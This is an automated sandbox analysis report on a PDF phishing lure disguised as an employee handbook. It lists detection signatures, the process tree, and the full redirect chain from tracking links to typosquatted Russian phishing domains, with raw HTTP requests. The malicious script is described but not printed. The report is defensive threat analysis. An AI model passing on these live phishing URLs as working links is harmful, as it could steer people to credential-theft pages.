Edit tour

Windows Analysis Report
Cbonline Q1 Handbook-0782794.pdf

Overview

General Information

Sample name:	Cbonline Q1 Handbook-0782794.pdf
Analysis ID:	1631546
MD5:	6f5f8b223e07e754e14d1d4881d6bb28
SHA1:	a87bd3b745da10211f80397a9b7b4cb2041cf2c8
SHA256:	d43d0b96eec4b8612f6e59c46ccf23a70f55d7bb499dbf2d1fd87203f943e33b
Infos:

Detection

HTMLPhisher, Invisible JS

Score:	84
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected HtmlPhish44

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

AI detected suspicious URL

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML page contains hidden javascript code

IP address seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 2716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Cbonline Q1 Handbook-0782794.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2676 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1556,i,7919162136299356296,1518015090656361293,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7676 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://click.halaxy.com/track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2304,i,8622359068077814366,17850412118979168873,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_191	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author
0.2.id.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.id.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09Gw	Avira URL Cloud: Label: phishing
Source: https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D	Avira URL Cloud: Label: phishing

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_191, type: DROPPED

Yara detected Invisible JS

Source: Yara match	File source: 0.2.id.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.2.id.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains QR code

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://as.krxlexm.ru/J8eBu/... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and potential data exfiltration. The obfuscated code and use of Unicode characters further increase the risk. This script should be considered highly suspicious and potentially malicious.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://as.krxlexm.ru/J8eBu/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending data to an untrusted domain, which further increases the risk. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.

AI detected suspicious URL

Source: https://krxlexm.ru

Joe Sandbox AI: The URL 'krxlexm.ru' appears to be a typosquatting attempt on the well-known brand 'Rolex'. The character 'R' is replaced with 'K', and 'O' is replaced with 'X', which are visually similar substitutions. The addition of 'M' at the end of the domain name is a minor structural change that could confuse users. The use of the '.ru' domain extension does not inherently suggest a different legitimate purpose, and it could be used to target Russian-speaking users. The high similarity score is due to the visual and structural resemblance to the legitimate Rolex URL, and the likelihood of user confusion is high, leading to a high spoofed score.

Source: https://as.krxlexm.ru/J8eBu/

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AI UI Template</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva,...

Source: global traffic

TCP traffic: 192.168.2.5:53686 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: z379sz8.r.us-east-2.awstrack.me to https://t.co/npmn4j1oas
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: link.pr.clinicsense.com to https://as.krxlexm.ru/j8ebu/

Source: Joe Sandbox View	IP Address: 104.18.94.41 104.18.94.41
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 104.16.6.189 104.16.6.189
Source: Joe Sandbox View	IP Address: 104.17.24.14 104.17.24.14

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201 HTTP/1.1Host: z379sz8.r.us-east-2.awstrack.meConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nPMN4J1OaS HTTP/1.1Host: t.coConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D HTTP/1.1Host: link.pr.clinicsense.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://t.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /J8eBu/ HTTP/1.1Host: as.krxlexm.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://t.co/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=JRlgc62_tJ.Nd8rD9_DaQRlXBzHmsDcKqwTl8w2fPvM-1741338869-1.0.1.1-KMN_NORD8816j2nCDM0fg.LkXp8vggltP_2KET.krWsk4ww6Wpbzo6_WtWtZ.WynqdxwS6sZwTygsRMHC4W_NzhNspl7TSNm19.PrtPZZWw
Source: global traffic	HTTP traffic detected: GET /kella$c0ez7sqh HTTP/1.1Host: kxig5z.zvaznx.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://as.krxlexm.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://as.krxlexm.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kella$c0ez7sqh HTTP/1.1Host: kxig5z.zvaznx.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/click/30027051/z379sz8.r.us-east-2.awstrack.me?p=eyJzIjoiTC1FNG5BbWJTN3N3LTZ1cjVFRXVoRFhDdnZ3IiwidiI6MSwicCI6IntcInVcIjozMDAyNzA1MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3ozNzlzejguci51cy1lYXN0LTIuYXdzdHJhY2subWVcXFwvTDBcXFwvaHR0cHM6JTJGJTJGdC5jbyUyRm5QTU40SjFPYVNcXFwvMVxcXC8wMTBmMDE5NTZhNmMzYTJhLWQzZTQ0ZTVmLTFkMTktNGUwOS1iNGNjLTk3YTg5YmIwOTZlMi0wMDAwMDBcXFwvNG5TVmZNaFYwU2Y5SVB0ZUt3NnVrdHBMNDIwPTIwMVwiLFwiaWRcIjpcIjYxZmFkOGNhNzA5MDQzYmE5MDIyZTlhNmRjN2UwYmVjXCIsXCJ1cmxfaWRzXCI6W1wiNzNkNDhmOTNkOTE3MmNjNzBkOWMzN2JmOTc1MDY3ODAzMzliY2ZkOVwiXX0ifQ HTTP/1.1Host: click.halaxy.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Microsoft-CryptoAPI/10.0Host: x1.i.lencr.org

Source: global traffic	DNS traffic detected: DNS query: click.halaxy.com
Source: global traffic	DNS traffic detected: DNS query: z379sz8.r.us-east-2.awstrack.me
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: t.co
Source: global traffic	DNS traffic detected: DNS query: link.pr.clinicsense.com
Source: global traffic	DNS traffic detected: DNS query: as.krxlexm.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: kxig5z.zvaznx.ru

Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.2.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_193.6.dr	String found in binary or memory: https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09Gw

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: classification engine

Classification label: mal84.phis.winPDF@31/69@33/20

Source: Cbonline Q1 Handbook-0782794.pdf

Initial sample: mailto:hr@Cbonline

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-03-07 04-14-00-942.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

